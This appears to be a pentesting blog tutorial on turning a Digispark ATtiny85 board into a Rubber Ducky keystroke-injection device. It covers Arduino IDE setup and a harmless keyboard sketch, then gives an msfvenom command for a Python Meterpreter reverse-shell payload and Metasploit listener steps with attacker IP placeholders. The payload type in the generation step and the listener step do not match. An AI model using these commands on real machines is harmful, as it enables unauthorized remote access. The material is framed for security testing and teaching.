Quantify Cyber Risk Now

header ads

Pentesting with an affordable Arduino Rubber Ducky | Lucideus Research

Rubber Ducky
The USB Rubber Ducky isn't your ordinary HID (Human Interface Device). Coupled with a powerful 60 MHz 32-bit processor and a simple scripting language anyone is able to craft payloads capable of changing system settings, opening backdoors, retrieving data, initiating reverse shells, or basically anything that can be achieved with physical access -- all automated and executed in a matter of seconds.[1]

Digispark is an ATtiny85 based microcontroller development board come with USB interface.Coding is similar to Arduino, and it uses the familiar Arduino IDE for development.

Buy: India , International

How to Setup Digispark in Arduino IDE

Step 1: Download Arduino IDE Software from Official site: Arduino IDE

This software helps us to compile the code on the board which we have to program

Step 2: Install the software and open it.
Note:- If you are using Arduino 1.6.6 or higher and windows - you will need to download and install the drivers manually: Download

Step 3: In the Arduino application go to the “File > Preferences”

In the box labeled “Additional Boards Manager URLs” enter:

We have to do it because the Arduino has removed the Digispark library for the IDE software.

Step 4: Go to the Tools > Board > Boards Manager. Search DigiSpark in Search Box 

Because we have added the external link of the library that's why we have to add the board from the Board Manager.  You will see Install Button. Click on it (It Will Automatically Installs the Board Libraries and Required files)

How to use Digispark in Arduino IDE Step 1 :- Select Digispark -> Go to Tools Menu > Boards > DigiSpark Default - 16.5Mhz (Drag down the list)

Step 2: Select the Programmer 

-> Go to Tools Menu > Programmer > USBtinyISP 

It is the type of Programmer which is supported by the Digispark. Because the Digispark is not an official board made by Arduino.

Now the DigiSpark is ready to program :)

We can code for Arduino in C and C++ languages.
#include “DigiKeyboard.h” void setup() { } void loop() { DigiKeyboard.println(“Welcome to Green Terminal ! “); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(5000); }

In this code, we have included the Digikeyboard header file by which Digispark will act as a keyboard. Then we have print Welcome to Green Terminal from DigiKeyboard.println and DigiKeyboard.sendKeyStroke(KEY_ENTER); to Press Enter.

This code will Print “Welcome to Green Terminal”

Making Digispark a Rubber Ducky

Creating Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<portnumber> R > pythonpayload.py

We are using msfvenom as shown below to create a python payload for the reverse connection.

Setting up the Listener Step 1:- Start Metasploit Framework Step 2:- Type use exploit/multi/handler Step 3 :- Type set payload python/meterpreter/reverse_https  Step 4 :- Type set lhost <Attacker IP> Step 5 :- Type set lport <Listening Port No.> Step 6 :- Type exploit -j 
Ubuntu Exploit PoC

Post a comment